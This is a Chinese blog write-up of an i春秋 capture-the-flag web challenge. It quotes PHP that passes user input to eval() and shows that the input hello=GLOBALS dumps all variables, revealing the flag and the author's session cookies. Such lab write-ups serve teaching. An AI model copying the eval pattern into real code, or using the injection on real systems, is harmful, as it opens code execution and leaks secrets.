

i春秋之爆破-1

原创

金昂 于 2022-02-12 22:37:45 发布 601 收藏

分类专栏: [i春秋之WEB](#) 文章标签: [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/l2872253606/article/details/122902942>

版权



[i春秋之WEB](#) 专栏收录该内容

9 篇文章 1 订阅

订阅专栏

打开连接, 是段php代码, 审计一下代码

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
    die('ERROR');
}
eval("var_dump($a);");
show_source(__FILE__);
?>
```

CSDN @金昂

@是错误抑制符, 忽略错误提示,使其错误消息不会显示在程序里, 通常用于数据库与PHP的连接

preg_match()函数用于执行一个正则表达式匹配, 代码的作用是如果变量\$a匹配正则表达式/^\w*\$V, 就打印出变量\$a,

这里我们知道, \$GLOBALS 是一个包含了全部变量的全局组合数组, 所以只要把全局变量打印出来就不用爆破了

通过传参, 让hello=GLOBALS就能看见flag了

```
array(9) (["_GET"]=> array(1) (["hello"]=> string(7) "GLOBALS") ["_POST"]=> array(0) (["_COOKIE"]=> array(6) (["UM_distinctid"]=> string(61) "17e8531756d682-040fe945a1e4d48-4c3e237c-144000-17e8531756e81c" ["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O00" ["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(43) "1644325091,1644325216,1644651413,1644674012" ["ci_session"]=> string(40) "1706cca24a97bb14993302f91ba61501a382dfbe" ["Hm_lpvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1644676522" ["__jsluid_h"]=> string(32) "ad0568666eb6687709606192ec034b5d") ["_FILES"]=> array(0) (["_REQUEST"]=> array(1) (["hello"]=> string(7) "GLOBALS") ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag{21896876-7450-47c3-9902-2d8f483b44f0}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION*) <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
    die('ERROR');
}
eval("var_dump($a);");
show_source(__FILE__);
?>
```

CSDN @金昂